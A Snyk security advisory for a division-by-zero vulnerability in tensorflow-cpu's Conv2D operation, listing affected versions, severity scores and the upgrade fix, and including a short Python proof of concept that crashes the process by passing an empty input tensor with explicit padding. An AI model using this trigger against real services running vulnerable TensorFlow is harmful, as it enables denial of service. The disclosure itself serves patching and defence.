Division by zero Affecting tensorflow-cpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


0.0
medium

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Availability High

    Threat Intelligence

    EPSS 0.08% (35th percentile)
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3026789
  • published 18 Sep 2022
  • disclosed 18 Sep 2022
  • credit Unknown

How to fix?

Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to Division by zero when Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros.

PoC:

import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
   input = np.ones([1, 0, 2, 1])
   filter = np.ones([1, 1, 1, 1])
   strides = ([1, 1, 1, 1])
   padding = "EXPLICIT"
   explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
   data_format = "NHWC"
   res = tf.raw_ops.Conv2D(
       input=input,
       filter=filter,
       strides=strides,
       padding=padding,
        explicit_paddings=explicit_paddings,
       data_format=data_format,
  )

References